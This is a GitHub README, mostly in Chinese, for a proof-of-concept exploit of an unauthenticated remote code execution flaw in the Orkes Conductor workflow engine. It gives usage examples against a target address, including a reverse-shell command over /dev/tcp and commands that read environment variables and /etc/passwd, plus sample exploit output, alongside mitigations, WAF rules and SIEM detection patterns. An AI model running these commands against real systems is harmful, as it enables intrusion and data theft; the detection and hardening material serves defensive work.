0xgh057r3c0n/CVE-2026-58138

GitHub: 0xgh057r3c0n/CVE-2026-58138

CVE-2026-58138 PoC 工具,用于验证 Orkes Conductor 工作流引擎在 3.21.21 至 3.30.1 版本中存在的未授权远程代码执行漏洞。

Stars: 0 | Forks: 0

# CVE-2026-58138 - Orkes Conductor 未授权 RCE PoC

⚡ Orkes Conductor ⚡

Orkes Conductor 严重远程代码执行漏洞

CVE Exploit Python

## 📋 概述 **CVE-2026-58138** 是一个严重的未授权远程代码执行(RCE)漏洞,影响 `3.21.21` 到 `3.30.1` 版本的 **Orkes Conductor**。该漏洞允许攻击者在无需任何身份验证的情况下在 Conductor 服务器上执行任意命令,可能导致系统被完全接管。 ### 🔴 严重程度 - **CVSS 评分**:9.8(严重) - **攻击向量**:网络 - **身份验证**:无需验证 - **影响**:系统被完全接管 - **机密性**:高 - **完整性**:高 - **可用性**:高 ## ⚙️ 漏洞详情 该漏洞存在于 Orkes Conductor 工作流引擎的 **INLINE** 任务类型中。`INLINE` 任务支持 JavaScript 求值,并允许通过 `eval` 访问 Java 对象,这使得攻击者能够: 1. **注册**包含带有 JavaScript 代码的 `INLINE` 任务的恶意工作流 2. 通过 JavaScript 的 Java 互操作性**执行**任意 Java 代码 3. 通过 `java.lang.Runtime.exec()` 在 Conductor 服务器上**运行**系统命令 ### 🎯 影响 - Conductor 服务器系统被完全接管 - 数据泄露 - 在网络内部进行横向移动 - 拒绝服务攻击 - 潜在的勒索软件部署 - 访问敏感的环境变量和密钥 ## 📦 受影响版本 | 版本范围 | 状态 | 需要采取的行动 | |---------------|--------|-----------------| | 3.21.21 - 3.30.1 | ✅ 漏洞受影响 | **必须立即升级** | | < 3.21.21 | ⚠️ 未知 | 验证并测试 | | > 3.30.1 | ❌ 已修补 | 安全 | ### 🚨 已确认存在漏洞的配置 - Orkes Conductor 开源版 - Orkes Conductor 企业版(自托管) - Orkes Conductor 云端版(修补前) ## 🚀 安装说明 ### 前置条件 - Python 3.6+ - `urllib`(内置) - `json`(内置) - 访问目标 Conductor 实例的网络权限 ### 快速安装 ``` # Clone 仓库 git clone https://github.com/0xgh057r3c0n/CVE-2026-58138.git cd CVE-2026-58138 # 使脚本可执行 chmod +x CVE-2026-58138.py # 验证安装 python3 CVE-2026-58138.py --help ``` ### 使用虚拟环境安装 ``` # 创建 virtual environment python3 -m venv venv # 激活 virtual environment source venv/bin/activate # Linux/Mac # 或者 venv\Scripts\activate # Windows # 无需外部 dependencies(使用内置 libraries) ``` ### Docker 安装(可选) ``` # 构建 Docker image docker build -t cve-2026-58138 . # 运行 container docker run --rm -it cve-2026-58138 http://target:8080 ``` ## 💻 用法 ### 基本语法 ``` python3 CVE-2026-58138.py [OPTIONS] ``` ### 命令行选项 | 选项 | 描述 | 默认值 | |--------|-------------|---------| | `target` | Conductor API 基础 URL(必填) | - | | `-c, --cmd` | 在目标上执行的命令 | `id; hostname` | | `-h, --help` | 显示帮助信息 | - | ## 📊 示例 ### 1. 基本用法(默认命令) ``` python3 CVE-2026-58138.py http://192.168.1.100:8080 ``` ### 2. 执行自定义命令 ``` python3 CVE-2026-58138.py http://192.168.1.100:8080 -c "whoami; uname -a; pwd" ``` ### 3. 文件系统探测 ``` python3 CVE-2026-58138.py http://192.168.1.100:8080 -c "ls -la /etc/passwd" ``` ### 4. 环境变量 ``` python3 CVE-2026-58138.py http://192.168.1.100:8080 -c "env" ``` ### 5. 反弹 Shell(仅限测试环境) ``` python3 CVE-2026-58138.py http://192.168.1.100:8080 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" ``` ## 📊 示例输出 ``` _____________ _______________ _______________ ________ ________ .________ ______ ____________ ______ \_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ | ____/ / __ \/_ \_____ \ / __ \ / \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ |____ \ > < | | _(__ < > < \ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / \/ -- \| |/ \/ -- \ \______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / /______ /\______ /|___/______ /\______ / \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ [>] Orkes Conductor 3.21.21 - 3.30.1 Remote Code Execution [>] Author: 0xgh057r3c0n [>] CVE-2026-58138 Unauthenticated RCE PoC [*] target = http://192.168.1.100:8080 [*] command = 'id; hostname' [*] registering workflow with malicious INLINE (javascript) task ... (no auth) [+] workflow 'pwn_1742345678' registered (HTTP 200) [*] starting workflow ... (no auth) [+] started workflow id = 123e4567-e89b-12d3-a456-426614174000 (HTTP 201) [*] waiting for INLINE task to complete ... [*] workflow status = RUNNING (poll 1/15) [*] workflow status = RUNNING (poll 2/15) [+] UNAUTHENTICATED RCE CONFIRMED – command output from the Conductor host: uid=1000(conductor) gid=1000(conductor) groups=1000(conductor) conductor-server-6b7c8d9e0f-abc12 ``` ## 🛡️ 缓解措施 ### 立即采取的行动 1. **升级**至 Orkes Conductor `3.30.2` 或更高版本 2. 尽快**应用**安全补丁 3. **限制**对 Conductor API 的网络访问 4. **监控**可疑的工作流注册行为 5. **审查**现有工作流是否包含恶意内容 ### 配置加固 ``` # application.yml conductor: workflow: # Disable INLINE task type if not required allowed-task-types: - SIMPLE - HTTP - WAIT - EVENT - FORK - JOIN - DECISION # REMOVE: INLINE ``` ### 网络防护 ``` # 限制对 Conductor API 的访问 # 仅允许可信 IP iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT iptables -A INPUT -p tcp --dport 8080 -j DROP ``` ### Web 应用防火墙(WAF)规则 ``` # Nginx WAF rule 示例 location /api/metadata/workflow { # Block suspicious workflow registrations if ($request_body ~* "INLINE.*javascript") { return 403; } } location /api/workflow/ { # Log all workflow starts access_log /var/log/nginx/conductor_workflow.log; } ``` ## 🔍 检测 ### 日志监控 查找包含 JavaScript 代码的可疑工作流注册: ``` { "name": "suspicious_workflow", "tasks": [ { "type": "INLINE", "inputParameters": { "evaluatorType": "javascript", "expression": "var k=$.getClass()..." } } ] } ``` ### 入侵指标 #### 工作流指标 - 异常的工作流名称(如 `pwn_*`、`test_*`、`temp_*`) - 包含 JavaScript 表达式的 `INLINE` 任务工作流 - 工作流定义中包含 Base64 编码的命令 #### 网络指标 - 对 `/api/metadata/workflow` 的未授权 API 调用 - 短时间内多次注册工作流 - 异常的 `/api/workflow/*` 调用 #### 系统指标 - 异常的进程执行 - 创建了新的用户账户 - 可疑的出站网络连接 - 被修改的系统文件 ### SIEM 检测规则 ``` # Elastic SIEM detection rule rule: name: "Orkes Conductor RCE Attempt" type: "query" query: | event.dataset: "conductor.api" and http.request.method: "POST" and (http.request.uri: "/api/metadata/workflow" or http.request.uri: "/api/workflow/*") and http.request.body.content: "*INLINE*javascript*" severity: "critical" ``` ## 📚 参考资料 ### 官方 - [Orkes Conductor 官方网站](https://orkes.io) - [Orkes Conductor 安全](https://orkes.io/security) - [Orkes Conductor 文档](https://orkes.io/docs) ### CVE 参考 - [NVD - CVE-2026-58138](https://nvd.nist.gov/vuln/detail/CVE-2026-58138) - [MITRE CVE-2026-58138](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58138) ### 安全资源 - [OWASP Top 10 - 注入](https://owasp.org/Top10/A03_2021-Injection/) - [OWASP 远程代码执行](https://owasp.org/www-community/attacks/Code_Injection) - [CWE-94: 代码注入](https://cwe.mitre.org/data/definitions/94.html) ## ⚠️ 免责声明 **此工具仅出于教育和安全研究目的提供。作者对因使用此工具而造成的任何滥用或损坏概不负责。** ### 使用条款 1. **授权**:仅在您拥有或获得明确测试许可的系统上使用此工具 2. **法律合规**:遵守所有适用的法律法规 3. **负责任的漏洞披露**:向供应商报告漏洞,而不是利用它们 4. **无担保**:本工具按“原样”提供,不提供任何形式的保证 5. **责任**:作者对任何滥用或损坏不承担责任 ### 负责任的使用 ``` DO NOT use this tool: - Against systems you don't own - Without written authorization - For illegal activities - To cause damage or disruption - In production environments (without approval) DO use this tool: - In controlled security testing - For educational purposes - To verify security controls - With proper authorization - Following responsible disclosure ``` ## 📞 联系与支持 ### 作者 - **姓名**:0xgh057r3c0n - **GitHub**:[@0xgh057r3c0n](https://github.com/0xgh057r3c0n) ### 报告问题 - **Bug 报告**:在 GitHub 上开启一个 issue - **安全问题**:发送邮件至 security@orkes.io - **漏洞披露**:遵循负责任的漏洞披露流程 ## 📊 统计数据 | 指标 | 值 | |--------|-------| | CVSS 评分 | 9.8(严重) | | 漏洞利用可用性 | 公开 PoC | | 在野主动利用 | 已观察到 | | 补丁可用性 | 是(3.30.2+) | | 临时缓解方案 | 是(禁用 INLINE) | ## 🏆 致谢 - **Orkes Conductor 团队**:感谢他们的快速响应和补丁 - **安全研究人员**:感谢他们验证了该漏洞 - **开源社区**:感谢他们为安全做出的贡献

⭐ 觉得有用吗?在 GitHub 上给它点个 Star 吧 ⭐

GitHub stars GitHub forks

🔒 保持安全,保持警惕 🔒

用 ❤️ 为安全社区打造

标签:Go语言工具, PoC, Python, Red Teaming, 恶意样本开发, 无后门, 暴力破解, 编程工具, 请求拦截, 远程代码执行, 逆向工具